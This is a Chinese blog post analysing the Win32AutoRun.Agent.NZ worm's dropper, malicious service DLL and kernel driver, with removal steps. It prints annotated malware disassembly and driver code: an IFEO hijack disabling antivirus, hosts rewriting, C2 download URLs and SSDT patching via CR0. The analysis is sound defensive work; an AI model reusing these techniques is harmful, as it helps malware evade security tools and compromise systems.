前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
社区首页 >专栏 >Win32AutoRun.Agent.NZ 蠕虫感染文件的简单分析和文件修复 (续)

Win32AutoRun.Agent.NZ 蠕虫感染文件的简单分析和文件修复 (续)

作者头像
obaby
发布于 2023-02-28 02:43:05
发布于 2023-02-28 02:43:05
47100
代码可运行
举报
文章被收录于专栏:obaby@marsobaby@mars
运行总次数:0
代码可运行

Win32AutoRun.Agent.NZ 蠕虫感染文件的简单分析和文件修复 (续) —Tmp81.exe文件的相关分析

今天看到杂志上编辑关于《Win32AutoRun.Agent.NZ 蠕虫感染文件的简单分析和文件修复》一文的评论。感觉那么写确实是肤浅了一些,关键的地方没有进行分析。当时写那篇文章的目的就是文件的修复,所以没有对释放的文件进行进一步的分析。现在我们来分析病毒的全部幕后操作。

简单说下temp81文件的获取,用OD载入上篇文章中的病毒样本“ctc已感染.exe”,并且配置好相关的测试环境。运行FileMon排除掉系统进程以便减少数据量(主要监视“ctc已感染.exe”);同时运行Wireshark,选择相关网络适配器后开始捕获数据。在004D3132 FFD0 call eax 这一行下F2断点,F9运行程序,程序中断后定位到当前用户的temp文件夹下就可以看到释放的程序了,如图01。继续F9运行程序,程序完全运行后注意观察文件监视器(FileMon),发现tmp81.exe请求创建了以下的程序:6to4.dll(如02),lpk.dll(此文件请求失败,最终调用system32下的同名文件,如03),TempDel.Bat(图04)。虽然程序显示创建了TempDel.Bat但是由于最后释放的批处理文件功能是删除自身以及释放的文件,所以程序在运行后是找不到这个文件以及释放的tmp81.exe的。TempDel.Bat的获取在可以OD动态调试tmp81.exe的时候运行tmp81.exe就可以得到批处理文件的内容了,如图05,我们之所以能获取这个批处理文件是由于tmp81.exe正在执行中,所以会删除失败,通过批处理文件的内容可以看到如果删除失败,批处理会不断的尝试再次删除释放的文件直到删除成功,这就是我们为什么可以得到删除自身的批出来文件的原理了。 用Peid0.95载入tmp81.exe,可以看到程序加的壳为:UPX 0.89.6 – 1.02 / 1.05 – 2.90 -> Markus & Laszlo,这个壳较为简单,esp定律可以轻松搞定这里就不说了,不会的可以查看以前的相关文章。程序的关键代码如下所示:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
00401114    E8 F0090000     call    00401B09                         ; 获取服务名称
00401119    68 10000100     push    10010                            ; UNICODE "ALLUSERSPROFILE=C:\Documents and Settings\All Users"
0040111E    8D85 60FFFFFF   lea     eax, dword ptr [ebp-A0]
00401124    50              push    eax
00401125    FF75 F8         push    dword ptr [ebp-8]
00401128    FF15 14204000   call    dword ptr [< &ADVAPI32.OpenServic>; 打开服务,进行编辑
0040112E    8945 E4         mov     dword ptr [ebp-1C], eax
00401131    8D85 58FEFFFF   lea     eax, dword ptr [ebp-1A8]
00401137    50              push    eax
00401138    E8 EC070000     call    00401929                         ; 监测服务是否存在,如果存在删除服务然后重新创建,不存在则直接新建服务
(……省略部分代码)
004011B3    FF15 04204000   call    dword ptr [< &ADVAPI32.CreateServ>; 创建服务
004011B9    8945 E4         mov     dword ptr [ebp-1C], eax
004011BC    837D E4 00      cmp     dword ptr [ebp-1C], 0
004011C0    0F84 3E010000   je      00401304
004011C6    68 04010000     push    104
004011CB    8D85 98F7FFFF   lea     eax, dword ptr [ebp-868]
004011D1    50              push    eax
004011D2    FF15 54204000   call    dword ptr [< &kernel32.GetSystemD>; 获取系统路径
004011D8    68 04010000     push    104
004011F7    50              push    eax
004011F8    68 F8214000     push    004021F8                         ; 获取释放的dll名称
(……省略部分代码)
004012DB    FF15 00204000   call    dword ptr [< &ADVAPI32.StartServi>; 启动服务
004012E1    85C0            test    eax, eax
004012E3    75 06           jnz     short 004012EB
004012EB    FF75 E4         push    dword ptr [ebp-1C]
004012EE    FF15 30204000   call    dword ptr [< &ADVAPI32.CloseServi>; 关闭服务句柄
(……省略部分代码)
004015CA    68 70224000     push    00402270                         ; copy /y "%s" "%s"\n\n:runagain\n\ndel "%s"\n\nif exist "%s" goto runagain\n\ndel "%s"\n\nopen 批处理文件的内容
004015CF    8D85 E0F9FFFF   lea     eax, dword ptr [ebp-620]
004015E8    6A 00           push    0
004015EA    6A 00           push    0
004015EC    68 000000C0     push    C0000000
004015F1    8D85 F0FEFFFF   lea     eax, dword ptr [ebp-110]         ; 取临时路径
004015F7    50              push    eax
004015F8    FF15 A8204000   call    dword ptr [< &kernel32.CreateFile>; 创建自删除批处理
(……省略部分代码)
0040164E    50              push    eax                              ; 将临时路径名压入堆栈
0040164F    68 C0224000     push    004022C0                         ; open
00401654    6A 00           push    0                                ; ShellExecuteA参数,隐藏执行
00401656    FF15 CC204000   call    dword ptr [< &shell32.ShellExecut>; 删除文件
0040165C    6A 00           push    0
0040165E    FF15 AC204000   call    dword ptr [< &kernel32.ExitProces>; 结束进程

0040198A    FF15 A8204000   call    dword ptr [< &kernel32.CreateFile>; 创建C:\WINDOWS\system32\dllcache\Irmon.dll 或者C:\WINDOWS\system32\6to4.dll创建服务时如果目标文件不存在则重新生成。否则跳过此过程
00401990    8945 F0         mov     dword ptr [ebp-10], eax
004019A7    FF75 F0         push    dword ptr [ebp-10]
004019AA    FF15 A4204000   call    dword ptr [< &kernel32.SetFilePoi>; 写入文件内容,设置指针
004019CC    FF75 F0         push    dword ptr [ebp-10]
004019CF    FF15 7C204000   call    dword ptr [< &kernel32.GetFileTim>; 获取文件时间
004019D5    68 1C234000     push    0040231C                         ; file
004019DA    6A 66           push    66
004019DC    6A 00           push    0
004019DE    FF15 78204000   call    dword ptr [< &kernel32.FindResour>; 获取文件资源
004019E4    8945 E8         mov     dword ptr [ebp-18], eax
004019E7    FF75 E8         push    dword ptr [ebp-18]
004019EA    6A 00           push    0
004019EC    FF15 38204000   call    dword ptr [< &kernel32.LoadResour>; 加载资源
00401A04    6A 00           push    0
00401A06    FF15 4C204000   call    dword ptr [< &kernel32.SizeofReso>; 获取资源大小
00401A28    FF75 F0         push    dword ptr [ebp-10]
00401A2B    FF15 40204000   call    dword ptr [< &kernel32.WriteFile>>; 写入文件
00401AF3    FF15 88204000   call    dword ptr [< &kernel32.CloseHandl>; 关闭句柄
00401AF9    FF75 C4         push    dword ptr [ebp-3C]
00401AFC    FF15 A0204000   call    dword ptr [< &kernel32.FreeResour>; 释放资源,创建C:\WINDOWS\system32\dllcache\Irmon.dll

由于程序汇编代码较长,故省略部分中间代码仅保留上下文,调试时可以参考相关的注释。程序释放的文件C:\WINDOWS\system32\dllcache\Irmon.dll和C:\WINDOWS\system32\6to4.dll通过系统的FC命令进行相似性分析可以知道两个文件是相同的,没有任何的差异。 所有程序执行完毕后停止wireshark的捕获,分析相关网络数据。可以看到程序在执行完后请求的第一条数据就是www.dy2004.com,如图06。继续查看其它数据可以看到另外的一个域名bnnjjj.3322.org(图07),但是现在这两个域名都已经无法正常访问了。从第一个域名要获取的文件为/msn/mm.txt(图09),这个应该是木马的下载地址列表,已经失效。并且程序在执行后会尝试访问局域网的共享来达到传播的目的,如图10。这些数据同样可以通过对病毒文件的静态分析来获取,通过网络数据可以对程序的网络行为能够有一个整体的了解,这样在静态分析时便有了较强的目标性。 最后我们来对释放的文件进行分析,首先分析6to4.dll。用Peid载入dll后可以看到程序加了ACProtect 1.3x – 1.4x DLL -> Risco Software Inc.的壳,如图11,仔细观察Peid的描述就会发现报的壳竟然不同。这里用插件检测到的是正确的,并非upx的壳。用od载入这个dll。程序中断在如下代码处:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
1000DC80 >  807C24 08 01    cmp     byte ptr [esp+8], 1
1000DC85    0F85 C2010000   jnz     1000DE4D  ; 1000DE4D就是程序的OEP
1000DC8B    60              pushad
1000DC8C    BE 00A00010     mov     esi, 1000A000
1000DC91    8DBE 0070FFFF   lea     edi, dword ptr [esi+FFFF7000]
1000DC97    57              push    edi
1000DC98    EB 10           jmp     short 1000DCAA
注意1000DC85 Jnz 100DE4D 这一行,其中100DE4D就是程序的OEP了,直接Ctrl+G跳转到100DE4D处,选中这一行后F4。中断后单步F8,就到达了程序的真正入口点:
10005D51    55              push    ebp
10005D52    8BEC            mov     ebp, esp
10005D54    53              push    ebx
10005D55    8B5D 08         mov     ebx, dword ptr [ebp+8]
10005D58    56              push    esi
10005D59    8B75 0C         mov     esi, dword ptr [ebp+C]
10005D5C    57              push    edi
10005D5D    8B7D 10         mov     edi, dword ptr [ebp+10]
10005D60    85F6            test    esi, esi

此时就可以用LordPE脱壳了,需要注意此时选中Loaddll.exe进程在下方选中6to4.dll进行脱壳,如图12。最后来修复输入表,运行ImportREC,附加进程选择loaddll.exe,然后选择Pickdll,图13,选择我们脱壳的6to4.dll进行修复。 用od载入脱壳后的文件,可以发现大量文件名以及相关操作:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
10003859    C745 FC B087001>mov     dword ptr [ebp-4], 100087B0      ; 360hotfix.exe|360rpt.exe|360safe.exe|360safebox.exe|360tray.exe|agentsvr.exe|apvxdwin.exe|ast.exe|avcenter.exe|avengine.exe|avgnt.exe|avguard.exe|avltmain.exe|avp32.exe|avtask.exe|bdagent.exe|bdwizreg.exe|boxmod.exe|ccapp.exe|ccenter.exe|ccevtmgr.exe|c ..
10003860    8B45 FC         mov     eax, dword ptr [ebp-4]
10003863    0FBE00          movsx   eax, byte ptr [eax]
10003866    85C0            test    eax, eax
10003868    74 25           je      short 1000388F

程序通过上面的代码来达到IFEO劫持的目的,将所有的杀毒软件以及安全软件重新定位到系统的ntsd调试程序,使所有的杀软以及安全软件失效,来达到不被查杀的目的。 通过下面的代码来重新创建hosts文件防止下载病毒的域名被屏蔽:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
10003488    FF15 C0600010   call    dword ptr [< &kernel32.CreateFile>; 创建文件hosts
1000348E    8945 D8         mov     dword ptr [ebp-28], eax
10003491    C745 DC 2068001>mov     dword ptr [ebp-24], 10006820     ; 127.0.0.1       localhost\n\n\dllcache\systembox.baklaninternet
10003498    6A 00           push    0
1000349A    8D45 E4         lea     eax, dword ptr [ebp-1C]
1000349D    50              push    eax
1000349E    FF75 DC         push    dword ptr [ebp-24]
100034A1    FF15 C8600010   call    dword ptr [< &kernel32.lstrlen>]  ; kernel32.lstrlenA

然后进行网络通讯,模拟浏览器进行提交数据:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
10003FF0    83C4 0C         add     esp, 0C                          ; 获取目标路径名以及文件,msn/mm.txt
10003FF3    FF35 14850010   push    dword ptr [10008514]             ; 获取目标路径名以及文件,msn/mm.txt
10003FF9    FF35 84840010   push    dword ptr [10008484]             ; 获取url ,www.dy2004.com
10003FFF    68 24690010     push    10006924                         ; http://%s%s 后面的代码为wsock通讯代码,想了解的可以自行分析

与加载的驱动进行通讯,结束掉相关进程:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
10003ADF    FF15 74600010   call    dword ptr [< &kernel32.GetWindowsDirecto>; kernel32.GetWindowsDirectoryA
10003AE5    68 88680010     push    10006888                                ; \system32\drivers\
10003AEA    8D85 F0FEFFFF   lea     eax, dword ptr [ebp-110]
10003AF0    50              push    eax
10003AF1    FF15 E4600010   call    dword ptr [< &kernel32.lstrcat>]         ; kernel32.lstrcatA
10003AF7    68 9C680010     push    1000689C                                ; wmisvc.sys
10003AFC    8D85 F0FEFFFF   lea     eax, dword ptr [ebp-110]
10003B02    50              push    eax
10003B03    FF15 E4600010   call    dword ptr [< &kernel32.lstrcat>]         ; kernel32.lstrcatA

我们接着上面通信的驱动文件,定位到该驱动文件查看属性如图14所示,通过创建日期可以发现该驱动文件是在运行病毒感染的文件之后创建的。用ida分析该驱动文件,相关主要函数及功能如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
NTSTATUS __stdcall DefaultDeviceControl(PDEVICE_OBJECT DeviceObject, PIRP Irp)
{
  signed int IoControlCode; // eax@1
  struct _IRP::$::$::$::$A02EC6A2CE86544F716F4825015773AC::_IO_STACK_LOCATION *irpStack; // ecx@1
  NTSTATUS status; // edi@1
  PIRP irp; // esi@1
  unsigned int v6; // ecx@3
  struct _IRP *masterIrp; // ST04_4@6
  int masIrpTemp; // [sp+Ch] [bp-4h]@6

  irp = Irp;
  irpStack = Irp->Tail.Overlay.CurrentStackLocation;
  IoControlCode = *((_DWORD *)irpStack + 3);
  status = 0;
  if ( IoControlCode == 0x222008 )
  {
    if ( !g_DriverFlags )
      goto LABEL_12;
    masterIrp = Irp->AssociatedIrp.MasterIrp;
    masIrpTemp = 0;
    Irp = 0;
    memcpy(&masIrpTemp, masterIrp, 4u);
    PsLookupProcessByProcessId(masIrpTemp, &Irp);  //获取进程pid
    if ( MinorVersion )
    {
      sub_40074D(Irp);
    }
    else
    {
      if ( dword_4009A4(Irp, 0, 0) < 0 )
        status = STATUS_UNSUCCESSFUL;
      else
        sub_40074D(Irp);
      dword_4009A8(Irp);
    }
  }
  else
  {
    if ( IoControlCode == 0x22214B )
    {
      v6 = **((_DWORD **)irpStack + 4);
      if ( v6 < *((_DWORD *)KeServiceDescriptorTable + 2) )
      {
        __asm { mov     eax, cr0 }
        _EAX &= 0xFFFEFFFFu;
        __asm { mov     cr0, eax }
        *(&KeServiceDescriptorTable + v6) = *(void **)Irp->UserBuffer;
        __asm { mov     eax, cr0 }
        _EAX |= 0x10000u;
        __asm { mov     cr0, eax }
        goto LABEL_13;
      }
LABEL_12:
      status = STATUS_UNSUCCESSFUL;
      goto LABEL_13;
    }
  }
LABEL_13:
  irp->IoStatus.Status = status;
  irp->IoStatus.Information = 0;
  IofCompleteRequest(irp, 0);
  return status;
}

由于本人对驱动层不熟悉,以上代码皆由别人分析的(相关分析的代码已经打包到相关目录下,直接用ida打开WmiSvc.idb即可查看相关代码),驱动的主要功能就一个是修改ssdt过主动,另外就是用于结束进程。现在我们回到那个6to4.dll,该dll是以服务启动的,服务名称为6to4,通过与系统自带的6to4服务对比就可以发现不同了,右侧为正常的6to4服务以及相关描述。运行autoruns就可以看到程序6to4和Irmon服务启动的相关文件,如图16,17所示。同样在drivers标签页可以看到添加的系统驱动,如图18,WmiSvc c:\windows\system32\drivers\wmisvc.sys。 至此病毒释放的文件以及执行的操作已经搞清楚了,清除工作也就没那么复杂了。为了能够正常删除文件,可以用pe引导系统,在pe系统下删除相关文件。运行autoruns,在autoruns中删除相关的服务项和驱动项,最后定位到IFEO标签页,将所有的项目删除,如图19。再次说明:相关病毒样本具有危害性,请谨慎测试,相关测试工作最好在虚拟机中进行。文章到此结束,有什么问题欢迎来黑手论坛和我交流。

文章图片链接,打包下载地址:http://d.namipan.com/d/2355c906cbb8b6d84394aaedf57549d406c68795009f0b00

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2010年9月25日,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
Spark Gluten 向量化执行框架
向量化执行模型已在现代数据库引擎被广泛应用,例如ClickHouse、TiDB、StarRocks等。为进一步提升计算性能,充分利用CPU计算能力,大数据计算引擎的不同厂商也针对向量化计算进行多样化探索。
Yiwenwu
2025/01/21
4650
Spark Gluten 向量化执行框架
向量化计算
SIMD(Single Instruction Multiple Data) 单指令流多数据流,是一种采用一个控制器管理多个处理器,同时对一组向量数据中每个数据分别执行相同的操作,从而实现空间上的并行计算的技术。即基于SIMD实现一条指令同时处理多个数据,将传统的标量计算转为向量计算,从而减少CPU周期数,提升计算效率。
Yiwenwu
2024/11/29
3400
聊聊Doris向量化执行引擎-过滤操作
Doris是开源的新一代极速MPP数据库,和StarRocks同源,采用全面向量化技术,充分利用CPU单核资源,将单核执行性能做到极致。本文,我们聊聊过滤操作是如何利用SIMD指令进行向量化操作。
yzsDBA
2023/05/25
8420
聊聊Doris向量化执行引擎-过滤操作
AVX图像算法优化系列一: 初步接触AVX。
  弄了SSE指令集,必然会在不同的场合不同的人群中了解到还有更为高级的AVX指令集的存在,早些年也确实有偶尔写点AVX的函数,但是一直没有深入的去了解,今年十一期间也没到那里去玩,一个人在家里抽空就折腾下这个东西,也慢慢的开始了解了这个东西,下面是基于目前的认知对这个东西进行下一个简单的小结,有些东西也许是不正确或者不全面的,但应该无伤大雅。
用户1138785
2022/10/27
1.4K0
AVX图像算法优化系列一: 初步接触AVX。
向量化引擎怎么提升数据库性能
数据库向量化是一项工程性很大的挑战,但可为StarRocks等实时分析引擎提供数量级性能提升。
yzsDBA
2023/11/06
8900
向量化引擎怎么提升数据库性能
popcnt也能向量化?
popcnt指令本身也支持sse向量化了,但如果序列非常大 popcnt只能处理8B,怎么办
王很水
2024/07/30
1120
popcnt也能向量化?
SparkSql全代码生成规则梳理-CollapseCodegenStages
火山模型(迭代器模型), 是1994年 Goetz Graefe 在他的论文 《Volcano, An Extensible and Parallel Query Evaluation System》中提出的概念。
数据仓库践行者
2022/11/25
1.4K0
SparkSql全代码生成规则梳理-CollapseCodegenStages
Apache Daris向量化
Apache Daris是现代MPP分析数据库。号称可提供sub-second级别的查询和高效的实时数据分析。凭借分布式架构,支持高达10PB级别的数据集。其关键特性:
yzsDBA
2022/04/27
6850
Apache Daris向量化
TiFlash 面向编译器的自动向量化加速
SIMD(Single Instruction Multiple Data)是一种采用一个控制器来控制多个处理器,同时对一组数据(又称“数据向量”)中的每一个分别执行相同的操作从而实现空间上的并行性的技术,是重要的程序加速手段。本文将简要介绍一些在 TiFlash 中使用编译器进行自动向量化所需要的入门知识。
PingCAP
2022/07/12
1.1K0
这就是TDSQL的向量化执行引擎?有效降低函数调用开销,提升CPU利用率
在“国产数据库硬核技术沙龙-TDSQL-A技术揭秘”系列分享中,5位腾讯云技术大咖分别从整体技术架构、列式存储及相关执行优化、集群数据交互总线、Fragment执行框架/查询分片策略/子查询框架以及向量化执行引擎等多方面对TDSQL-A进行了深入解读。没有观看直播的小伙伴,可要认真做笔记啦!今天带来本系列分享中最后一篇腾讯云数据库高级工程师胡翔老师主题为“TDSQL-A向量化执行引擎技术揭秘”的分享的文字版。 作为领先的分析型数据库,TDSQL-A是腾讯首款分布式分析型数据库,采用全并行无共享架构,具有自
腾讯云数据库 TencentDB
2021/08/05
9050
浅析Clickhouse的向量化执行
关于Clickhouse之所以会像闪电一样快,是多方面的优化,包过但不仅限于:高效且磁盘友好的列式存储,高效的数据压缩,精心设计的各类索引,并行分布式查询,运行时代码生成等。
公众号-利志分享
2022/04/25
6390
高效内存位操作:如何用C++实现数据块交换的性能飞跃?
假设我们正在处理一个实时数据流系统,每秒接收数百万组64位数据包。每个数据包需要将前32位与后32位进行物理位置交换。这种看似简单的操作,当乘以海量数据规模时,就会暴露出惊人的性能损耗。
码事漫谈
2025/04/01
1460
高效内存位操作:如何用C++实现数据块交换的性能飞跃?
打造次世代分析型数据库(六):如何从零实现向量化引擎
作者介绍 josehu(胡翔),腾讯云数据库高级工程师,具有多年分布式数据库内核研发经验,主要负责和参与过高可用、数据导入导出、索引等相关模块的设计和开发。博士毕业于中国科学院软件研究所,加入腾讯后主要负责CDW PG数据库向量化执行引擎等相关特性的设计和开发工作。 1. 什么是向量化执行 向量化是指计算从一次对一个值进行运算转换为一次对一组值进行运算的过程。 1.1 从CPU角度看 现代 CPU 支持将单个指令应用于多个数据(SIMD)的向量运算。例如,具有 128 位寄存器的 CPU可以保存 4 个
腾讯云大数据
2022/09/19
1.8K0
打造次世代分析型数据库(六):如何从零实现向量化引擎
聊聊StarRocks向量化执行引擎-过滤操作
StarRocks是开源的新一代极速MPP数据库,采用全面向量化技术,充分利用CPU单核资源,将单核执行性能做到极致。本文,我们聊聊过滤操作是如何利用SIMD指令进行向量化操作。
yzsDBA
2023/05/25
1.2K0
聊聊StarRocks向量化执行引擎-过滤操作
论文研读-SIMD系列-基于分区的SIMD处理及在列存数据库系统中的应用
单指令多数据(SIMD)范式称为列存数据库系统中优化查询处理的核心原则。到目前为止,只有LOAD/STORE指令被认为足够高效,可以实现预期的加速,并且认为需要尽可能避免GATHER/SCATTER操作。但是GATHER指令提供了一种非常灵活的方式用来将非连续内存位置的数据填充到SIMD寄存器中。正如本文讨论的那样,如果使用方法合适,GATHER会达到和LOAD指令一样的性能。我们概述了一种新的访问模式,该模式允许细粒度、基于分区的SIMD实现。然后,我们将这种基于分区的处理应用到列存数据库系统中,通过2个代表性示例,证明我们新的访问模式的效率及适用性。
yzsDBA
2023/09/07
5600
论文研读-SIMD系列-基于分区的SIMD处理及在列存数据库系统中的应用
【向量检索研究系列】本地向量检索(上)
当广告推荐业务峰值QPS已经达到10万以上,向量检索QPS峰值就会就会达到30万以上,召回服务的向量检索P99时延和平均时延已经超出了能接受的正常范围,导致召回服务整体时延达到上限,很多请求超时以至于没有广告返回给上游服务。同时粗排服务对召回服务返回的广告列表进行自定义向量相似度计算过滤,传统的数学公式计算非常耗时和耗资源,导致粗排服务压力很大,上游召回服务又想召回更多广告给到粗排服务进行再次过滤以提高召回精度。因此关于向量相关的检索和计算需要进行优化以缓解线上服务压力,助力业务发展。
码之有理
2022/07/14
1.3K0
【向量检索研究系列】本地向量检索(上)
一文了解 ClickHouse 的向量化执行
ClickHouse在计算层做了非常细致的工作,竭尽所能榨干硬件能力,提升查询速度。它实现了单机多核并行、分布式计算、向量化执行与SIMD指令、代码生成等多种重要技术。
Spark学习技巧
2021/07/02
6.6K0
[强基固本-视频压缩]第十二章:向量指令 第一部分
向量计算是在执行单个处理器指令时,对多个数据块同时执行相同类型的多个操作。这一原理也被称为 SIMD(单指令多数据)。这个名字源于与向量代数的明显相似性:向量之间的操作具有单一符号表示,但涉及对向量各分量执行多个算术操作。
用户1324186
2024/03/20
2210
[强基固本-视频压缩]第十二章:向量指令 第一部分
Apache Doris 发展历程、技术特性及云原生时代的未来规划
其中,上游数据源包括 OLTP 数据库中的数据、业务的应用 日志、 Web 端的埋点日志以及本地文件等,通过批处理或流处理 系统,比如 Hadoop 、Spark 、Flink 等,对数据进行加工以后,把 数据“灌入”Doris 中。
默 语
2024/11/20
1630
Apache Doris 发展历程、技术特性及云原生时代的未来规划
AnalyticDB向量化引擎
AnalyticDB是阿里云企业级云原生数据仓库,在GreenPlum和PostgreSQL基础上开发的。语法上对两者保持兼容,功能层面上为GP超集。其架构:
yzsDBA
2022/09/06
5090
AnalyticDB向量化引擎
推荐阅读
相关推荐
Spark Gluten 向量化执行框架
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档